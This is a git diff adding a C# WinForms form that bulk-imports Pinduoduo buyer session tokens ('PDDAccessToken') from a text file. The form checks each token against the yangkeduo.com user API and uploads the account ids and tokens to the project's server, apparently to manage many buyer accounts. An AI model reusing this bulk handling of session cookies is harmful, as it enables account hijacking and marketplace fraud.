this.panel5.Size = new System.Drawing.Size(593, 54); + this.panel5.TabIndex = 2; + // + // label3 + // + this.label3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(7, 19); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(229, 34); + this.label3.TabIndex = 1160; + this.label3.Text = "1587696----WB2ZL6GMS31QUKUJ3XP\r\n9694353----3LVE26JEMPD5GS9GSAKF"; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(3, 2); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(80, 17); + this.label2.TabIndex = 1159; + this.label2.Text = "导入文本格式"; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(446, 5); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(56, 17); + this.label1.TabIndex = 1158; + this.label1.Text = "默认次数"; + // + // pnlLOpenFile + // + this.pnlLOpenFile.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlLOpenFile.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLOpenFile.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlLOpenFile.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlLOpenFile.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlLOpenFile.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlLOpenFile.Location = new System.Drawing.Point(422, 31); + this.pnlLOpenFile.Name = "pnlLOpenFile"; + this.pnlLOpenFile.Size = new System.Drawing.Size(80, 20); + this.pnlLOpenFile.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLOpenFile.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLOpenFile.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLOpenFile.Style.BorderWidth = 0; + this.pnlLOpenFile.Style.CornerDiameter = 1; + this.pnlLOpenFile.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlLOpenFile.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlLOpenFile.Style.GradientAngle = 90; + this.pnlLOpenFile.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlLOpenFile.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLOpenFile.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLOpenFile.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLOpenFile.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLOpenFile.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLOpenFile.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLOpenFile.TabIndex = 1147; + this.pnlLOpenFile.Text = "从文件导入"; + this.pnlLOpenFile.Click += new System.EventHandler(this.pnlOpenFile_Click); + // + // pnlSaveImport + // + this.pnlSaveImport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlSaveImport.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSaveImport.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSaveImport.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSaveImport.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSaveImport.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSaveImport.Location = new System.Drawing.Point(510, 31); + this.pnlSaveImport.Name = "pnlSaveImport"; + this.pnlSaveImport.Size = new System.Drawing.Size(80, 20); + this.pnlSaveImport.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSaveImport.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSaveImport.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSaveImport.Style.BorderWidth = 0; + this.pnlSaveImport.Style.CornerDiameter = 1; + this.pnlSaveImport.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSaveImport.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSaveImport.Style.GradientAngle = 90; + this.pnlSaveImport.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlSaveImport.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSaveImport.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSaveImport.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSaveImport.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSaveImport.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSaveImport.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSaveImport.TabIndex = 1151; + this.pnlSaveImport.Text = "保存导入"; + this.pnlSaveImport.Click += new System.EventHandler(this.pnlSaveImport_Click); + // + // nudMultiTimes + // + this.nudMultiTimes.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.nudMultiTimes.Location = new System.Drawing.Point(502, 2); + this.nudMultiTimes.Maximum = new decimal(new int[] { + 50, + 0, + 0, + 0}); + this.nudMultiTimes.Name = "nudMultiTimes"; + this.nudMultiTimes.Size = new System.Drawing.Size(88, 23); + this.nudMultiTimes.TabIndex = 1136; + this.nudMultiTimes.Value = new decimal(new int[] { + 5, + 0, + 0, + 0}); + // + // col_pdd_user_id + // + this.col_pdd_user_id.DataPropertyName = "pdd_user_id"; + this.col_pdd_user_id.HeaderText = "编号"; + this.col_pdd_user_id.Name = "col_pdd_user_id"; + this.col_pdd_user_id.ReadOnly = true; + this.col_pdd_user_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_pdd_user_id.Width = 120; + // + // col_cookies + // + this.col_cookies.DataPropertyName = "cookies"; + this.col_cookies.HeaderText = "登录信息"; + this.col_cookies.Name = "col_cookies"; + this.col_cookies.ReadOnly = true; + this.col_cookies.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_cookies.Width = 260; + // + // col_times + // + this.col_times.DataPropertyName = "times"; + this.col_times.HeaderText = "次数"; + this.col_times.Name = "col_times"; + this.col_times.ReadOnly = true; + this.col_times.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.col_times.Width = 80; + // + // ImportPddMultiBuyerForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(603, 481); + this.Controls.Add(this.panel1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "ImportPddMultiBuyerForm"; + this.Text = "导入多买手"; + this.TitleText = "导入多买手"; + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.tableLayoutPanel1.ResumeLayout(false); + this.panel3.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.DgvCookiesList)).EndInit(); + this.panel5.ResumeLayout(false); + this.panel5.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudMultiTimes)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; + private System.Windows.Forms.Panel panel3; + public MyControl.MyDataGridView DgvCookiesList; + private DevComponents.DotNetBar.PanelEx pnlSaveImport; + private DevComponents.DotNetBar.PanelEx pnlLOpenFile; + private System.Windows.Forms.Panel panel5; + private System.Windows.Forms.NumericUpDown nudMultiTimes; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.DataGridViewTextBoxColumn col_pdd_user_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_cookies; + private System.Windows.Forms.DataGridViewTextBoxColumn col_times; + } +} \ No newline at end of file diff --git a/29WxOrder/ToolForms/ImportPddMultiBuyerForm.cs b/29WxOrder/ToolForms/ImportPddMultiBuyerForm.cs new file mode 100644 index 0000000..a589f32 --- /dev/null +++ b/29WxOrder/ToolForms/ImportPddMultiBuyerForm.cs @@ -0,0 +1,145 @@ +using AllBase; +using AllBase.Model; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BaseForms; + +namespace _29WxOrder.ToolForms +{ + public partial class ImportPddMultiBuyerForm : BaseForm + { + List strList = new List(); + List pddMultiBuyerList = new List(); + + public ImportPddMultiBuyerForm() + { + InitializeComponent(); + } + + private void pnlOpenFile_Click(object sender, EventArgs e) + { + strList.Clear(); + strList = OpenFile(); + pddMultiBuyerList.Clear(); + foreach (string shops in strList) + { + try + { + string[] strlist = System.Text.RegularExpressions.Regex.Split(shops, "----", System.Text.RegularExpressions.RegexOptions.IgnoreCase); + pddMultiBuyerList.Add(new PddMultiBuyerInfo() { pdd_user_id = strlist[0], cookies = strlist[1], times = Convert.ToInt32(strlist[2]) }); + } + catch (Exception) + { + + } + } + DgvCookiesList.AutoGenerateColumns = false; + DgvCookiesList.DataSource = pddMultiBuyerList; + } + + public List OpenFile() + { + List txt = new List(); + System.Windows.Forms.OpenFileDialog openFile = new System.Windows.Forms.OpenFileDialog(); + openFile.Filter = "文本文件(*.txt)|*.txt|(*.rtf)|*.rtf"; + if (openFile.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + using (StreamReader sr = new StreamReader(openFile.FileName, Encoding.Default)) + { + int lineCount = 0; + while (sr.Peek() > 0) + { + lineCount++; + string temp = sr.ReadLine(); + + string[] strlist = System.Text.RegularExpressions.Regex.Split(temp, "----", System.Text.RegularExpressions.RegexOptions.IgnoreCase); + int strcount = strlist.Count(); + string cookies = ""; + if (strcount == 1) + { + cookies = strlist[0]; + } + else + { + cookies = strlist[1]; + } + bool ontimes = false; + if (strcount == 2 && cookies.Length <= 2) + { + ontimes = true; + cookies = strlist[0]; + } + string datahtml = GetPostTaobaoHtml.UploadTaobaoPost("https://yangkeduo.com/proxy/api/api/apollo/v3/user/active", + "https://yangkeduo.com", true, "", true, "PDDAccessToken=" + cookies + ";"); + string uid = ""; + if (datahtml.Contains("\"uid\":")) + { + uid = AllBase.BaseRegex.GetStringJson(ref datahtml, "uid"); + } + if (!string.IsNullOrEmpty(uid)) + { + if (strcount == 1) + { + temp = uid + "----" + temp + "----" + nudMultiTimes.Text; + } + else if (strcount == 2 && ontimes)//cookie+次数 + { + temp = uid + "----" + temp; + } + else if (strcount == 2)//编号+cookie + { + temp = temp + "----" + nudMultiTimes.Text; + } + txt.Add(temp); + } + } + } + } + return txt; + } + + private void DgvCookiesList_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + + } + + private void pnlSaveImport_Click(object sender, EventArgs e) + { + pnlSaveImport.Enabled = false; + Task.Run(() => + { + string datajson = Newtonsoft.Json.JsonConvert.SerializeObject(pddMultiBuyerList); + //string html = AllBase.GetHtml.PostUtf8(ViewModel.BaseWindows.BaseClass.ServerApiUrl + "/?obj=" + ViewModel.BaseWindows.BaseClass.routeInUse + "/pdd_user_cookies&act=add", ViewModel.BaseWindows.BaseClass.GetSignaturex("", "") + "¶ms=" + ViewModel.BaseWindows.HttpHelper.UrlEncodeUtf8(datajson)); + string url = BaseClass.DouYinBuildObjString("pdd_user_cookies&act=add"); + string data = UserLogin.GetSignaturex() + "¶ms=" + GetHtml.UrlEncodeUtf8(datajson); + string html = GetHtml.PostUtf8(url, data); + Invoke(new Action(() => + { + if (html.Contains("\"code\":200")) + { + BaseMsgForm.ShowInfo("保存导入成功", "提示"); + + pddMultiBuyerList.Clear(); + DgvCookiesList.DataSource = pddMultiBuyerList; + pnlSaveImport.Enabled = true; + + this.Close(); + } + else + { + BaseMsgForm.ShowError("保存导入失败,请重试", "错误"); + } + })); + }); + } + } +} diff --git a/29WxOrder/ToolForms/ImportPddMultiBuyerForm.resx b/29WxOrder/ToolForms/ImportPddMultiBuyerForm.resx new file mode 100644 index 0000000..7f7c1fb --- /dev/null +++ b/29WxOrder/ToolForms/ImportPddMultiBuyerForm.resx @@ -0,0 +1,307 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + 